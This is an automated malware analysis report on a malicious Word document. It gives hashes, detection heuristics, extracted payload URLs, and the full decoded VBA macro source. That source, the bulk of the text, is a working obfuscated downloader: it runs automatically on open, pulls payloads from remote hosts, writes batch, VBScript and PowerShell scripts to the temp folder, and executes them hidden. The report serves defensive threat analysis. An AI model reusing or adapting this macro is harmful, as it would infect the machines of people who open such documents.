Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d58039e25fcfb0b2…

MALICIOUS

Office (OLE)

69.0 KB Created: 2015-07-15 16:51:00 Authoring application: Microsoft Office Word First seen: 2015-08-03
MD5: ea0daafe232c6ffb8f783bb1f317fbf2 SHA-1: cf8e8b6fc8ef1d8920c4cd0ff8d33aff3ff7d38e SHA-256: d58039e25fcfb0b2fd002e26ac55bb5cef7bf32c7a9063fb982f3b98bf83b463
314 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize CreateObject and Shell calls, and assemble a URL using Chr() and string concatenation to download a payload. The reconstructed URL is 'http://thereis.staging.nodeproduction.com/wp-content/uploads/papa.txt'. This indicates the document's primary purpose is to act as a downloader for further malicious content.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject(QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://thereis.staging.nodeproduction.com/wp-content/uploads/papa.txt Referenced by macro
    • http://thereis.staging.nodeproduction.com/wp-content/uploads/78672738612836.txt123123123Referenced by macro
    • http://savepic.su/5751812Referenced by macro
    • http://savepic.su/5757956Referenced by macro
    • http://www.buildingwalls.co.za/wp-content/themes/corporate-10/78672738612836.txtReferenced by macro
    • http://www.buildingwalls.co.za/wp-content/themes/corporate-10/papa.txtReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11270 bytes
SHA-256: cd9d4e74564614622e5d784fc1f440e78ad9b99033330404344638f475bf7501
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Dqwkdojqwiodqw_Open()
     
End Sub
Sub Ejoqiwjdioqwjdqo_Open()
     
End Sub
Sub Auto_Open()
    Djiqowjdwoiqjdqwo
End Sub
Sub Djiqowjdwoiqjdqwo()
    UQHDIQWHD = "1j2h eiuh1k2jeh21kjeh jk12g ehj12g"
    Xjqwidjowqjdq
End Sub
Sub Giqjwdhqwkjq()
    DQUHWDIWQ = "eji21h ui21he21"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    NJQWBDJQKW = "j2hge h1hj1g2 hj21gje "
    Auto_Open
End Sub
 
Sub Xjqwidjowqjdq()

    
    Dim fallout As Integer, silkroad As Integer, inclife As Integer, inredible As Integer
    Dim retVal As Variant, gana As Integer, turkey As Integer, malay As Integer, SPAIN As String, BOLIVIA As String
    BOLIVIA = Chr(90 + 2)
    
    
    ANGOLA = Ubqhwdhwqbd(15425) + ""
    SPAIN = Chr(84) & "em" + "p"
    QHDQUWH = ANGOLA
    FL2 = QHDQUWH
    PH2 = Module2.Goabc(SPAIN) + BOLIVIA
    
    silkroad = 9
    jwnqdw = -1
    
    BOSNIA = 12312312
    BOSNIA = 1 + 1 + 113 + Sgn(jwnqdw)
    BALAGAN = BOSNIA
    

    TROYA = "bajh21ejk1h21hejk12h ejk21ht"
    JWIDJIAAA = ""
    HUYFEA = "gdhjqwg hqjwgdhjqwg hjqwgdhjqwg"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "bjgqhdhjg21jhgdhj1g jh1eg hj21ge j2h"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    gana = NUqwdqwbdsad(1 - 300 * Sin(20))
    SSS = Chr(BALAGAN + 2 + gana)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + gana + 2) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = Chr(109) & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = Chr(2 ^ 2 + 42) + "jpg"
    
    
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "ht" & "t" & "" & "p" & ":" & "/" & Chr(47)
    BQHJDQ = "sav" + "epic" & Chr(46) & "su" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "qhwdqwui 21u eg1ygueyg21 "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    JHQKWDQAASS = BQHJDQ
    
    Dim BALAGANHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
   
    
    TSTS = "." + "t" + "xt"
    CDDD = "78672738612836" + TSTS
    LNSS = "papa" + TSTS
    STT1 = "thereis.staging.nodeproduction.com/w" + "p-con" + "tent/uplo" + "ads/"
    STT2 = "www.buildingwalls.co.za/w" + "p-con" + "tent/t" + "hemes/corporate-10/"


    PBIn = ATTH + STT1 + CDDD
    CONT = Module2.Linolium(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module2.Linolium(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module2.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


    JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module2.WaitFor (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module2.Linolium(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = JHQKWDQAASS + "5751812" + GNG
    MSTAR2 = JHQKWDQAASS + "5757956" + GNG
    STAR1 = ATTH + MSTAR1
    STAR2 = ATTH + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":jadkjasghdjasg" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module2.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module3.HowEver(retVal, BAPTH)
     
     End If
     
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
       
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$nqjkwdnq = 'qiwdqwhd';"
     Print #CFT, "$ndqbwdwqs = 'jqwdnjkqwhd';"
     Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + HUDQG
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, Chr(30 + 30 + 4) + "echo off" & vbCrLf & ":jqduqihdjsakd"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":nqudiiqhdjkashd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, ":nqjdkbjkbdhjqwb"
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module2.WaitFor (1)
     
     NTH2 = Module3.HowEver(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    NTH3 = Module3.India(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
    NTH4 = Module3.India(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
    NTH5 = Module3.India(AKK + INTG + ZKK, "", 3)
    NTH6 = Module3.India(AKK + JUW + INTG + ZKK, "", 3)
    NTH7 = Module3.India(AKK + AFTG + ZKK, "", 3)
    NTH8 = Module3.India(AKK + JUW + AFTG + ZKK, "", 3)
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log10(100)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject(QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.b" + Chr(97) + "se" + "64" & ""
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(58 + 2)
NDUW = "" & Chr(70 - 8)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid$(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function

Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function


Private Static Function Log10(x)
SWOPJDQIOW = "jqhw gdhjg12hjgd21g21d"
Log10 = Log(x) / Log(10#)
End Function














Attribute VB_Name = "Module1"
Public Function Xjdkhjfwefw(a As Object)
XjdkhjfwefwSAD = "jh2ekjg12 jh12"
Xjdkhjfwefw = a.responsetext
End Function


Attribute VB_Name = "Module2"
 
Public Function Goabc(sps As String)
BQHGDWJQW = "hqjwkhdjk12h 1gh" + "12jebmn21b enm12"
BQHGDWJQW = "hqjwkhdjk12h 1gh" + "12jebmn21b enm12"
BQHGDWJQW = "hqjwkhdjk12h 1gh" + "12jebmn21b enm12"
Goabc = Environ(sps)
End Function
Public Function Linolium(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Kjqiwdhqwuhdjqkwhdjkqwbd As Object, AHUDWQI As String
Dim ashdUHhda As String
ashdUHhda = nbqjbdjqw
BQDHJQWDGWQJGS = "MSXML2.ServerXMLH" & Chr(34 Mod 7 + 4 / 2 ^ 2 + 77) & Chr(84) & Chr(80)
'MsgBox (BQDHJQWDGWQJGS)
Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS)
Kjqiwdhqwuhdjqkwhdjkqwbd.Open "GE" & "" & "T", ashdUHhda
Kjqiwdhqwuhdjqkwhdjkqwbd.Send (AHUDWQI)
Linolium = Module1.Xjdkhjfwefw(Kjqiwdhqwuhdjqkwhdjkqwbd)
End Function
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub


 














Attribute VB_Name = "Module3"
 

Public Function India(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim ssjidoqwhduqhwidqwudihq As Range, lesleslesqjhdjqkwhdwq As Range
Set ssjidoqwhduqhwidqwudihq = ActiveDocument.Range
RHQHDQWUHDQKW = "h 1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
With ssjidoqwhduqhwidqwudihq.Find
'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
.Text = dnuwhd
.MatchWholeWord = True
ssjidoqwhduqhwidqwudihq.Find.Execute
ssjidoqwhduqhwidqwudihq.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set lesleslesqjhdjqkwhdwq = ActiveDocument.Range
Dim wdsadwq As String
lesleslesqjhdjqkwhdwq.Start = ssjidoqwhduqhwidqwudihq.End
.Text = b
.MatchWholeWord = True
.Execute
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
ssjidoqwhduqhwidqwudihq.Collapse direction:=wdCollapseStart
lesleslesqjhdjqkwhdwq.End = ssjidoqwhduqhwidqwudihq.Start

If (c = 1) Then
    selectedText = lesleslesqjhdjqkwhdwq.Delete
End If
If (c = 2) Then
    lesleslesqjhdjqkwhdwq.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 423

QHUDW = Chr(33 + Sgn(hduwaa))

If (c = 3) Then
    With ssjidoqwhduqhwidqwudihq.Find
    .Text = a
    .Replacement.Text = QHUDW
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    'RHQHDQWUHDQKW = "h1j2he kh12jgh12 feg21fgeh12fjy"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function

Public Function HowEver(a As Variant, b)
CJQIWDJQWD = "12jekh1 hj1k2 ehj12k"
a = Shell(b, 0)
HowEver = a
End Function

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